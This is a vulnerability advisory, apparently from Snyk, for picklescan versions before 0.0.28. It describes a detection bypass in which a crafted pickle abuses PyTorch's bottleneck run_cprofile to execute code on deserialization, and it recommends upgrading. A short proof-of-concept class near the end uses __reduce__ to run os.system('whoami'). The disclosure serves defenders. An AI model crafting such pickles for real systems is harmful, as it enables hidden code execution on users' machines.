Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learningUpgrade picklescan to version 0.0.28 or higher.
picklescan is a Security scanner detecting Python Pickle files performing suspicious actions
Affected versions of this package are vulnerable to Remote Code Execution (RCE) via the bottleneck_main.run_cprofile function. An attacker can craft a malicious pickle file that leverages this function to bypass detection and trigger code execution upon deserialization by a user.
import torch.utils.bottleneck.__main__ as bottleneck_main
class EvilTorchUtilsBottleneckRunCprofile:
def __reduce__(self):
code = '__import__("os").system("whoami")'
globs = {}
return bottleneck_main.run_cprofile, (code, globs)